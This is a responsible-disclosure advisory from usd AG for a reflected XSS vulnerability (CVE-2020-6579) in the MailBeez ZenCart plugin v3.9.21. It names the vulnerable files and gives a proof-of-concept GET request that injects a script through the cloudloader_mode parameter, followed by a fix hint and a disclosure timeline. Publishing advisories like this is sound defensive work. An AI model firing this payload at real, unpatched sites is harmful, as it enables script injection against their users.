usd-2019-0070 | MailBeez Plugin for ZenCart / v3.9.21

Advisory ID: usd-2019-0070
CVE Number: CVE-2020-6579
Affected Product: MailBeez Plugin for ZenCart
Affected Version: v3.9.21
Vulnerability Type: XSS
Security Risk: Medium
Vendor URL:
Vendor Status: Fixed


A reflected XSS attack (or non-persistent attack) occurs when a malicious script is reflected off of a web application to the victim’s browser. The attack is typically delivered via email or a web site and activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts. The cloudloader_mode can be used for reflected XSS attacks. Two files are vulnerable for this attack. Vulnerable Code can be found at /mailhive/cloudbeez/cloudloader.php and /mailhive/cloudbeez/cloudloader_core.php.

Proof of Concept (PoC)

Send the following request:

GET /mailhive/cloudbeez/cloudloader_core.php?cloudloader_mode=foooo%27;%3Cscript%3Ealert(%27XSS%27)%3C/script%3E HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: zenid=rjlns1c0rvet35tc7qouf5g1jd; OCSESSID=7b8cbd4291f31225b537e2c2d9; language=en-gb; currency=USD
Connection: close
Upgrade-Insecure-Requests: 1



Make sure to encode the user supplied input.


  • 2019-12-31 Gerbert Roitburd and Markus Schneider discover vulnerability in a Penetration Test
  • 2020-02-13 First contact with vendor
  • 2020-02-24 Vendor releases version v3.9.22 of the plugin that fixes the issue
  • 2020-04-29 Security advisory released


This security vulnerability was discovered by Gerbert Roitburd and Markus Schneider of usd AG.


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to usd AG

In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.


The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.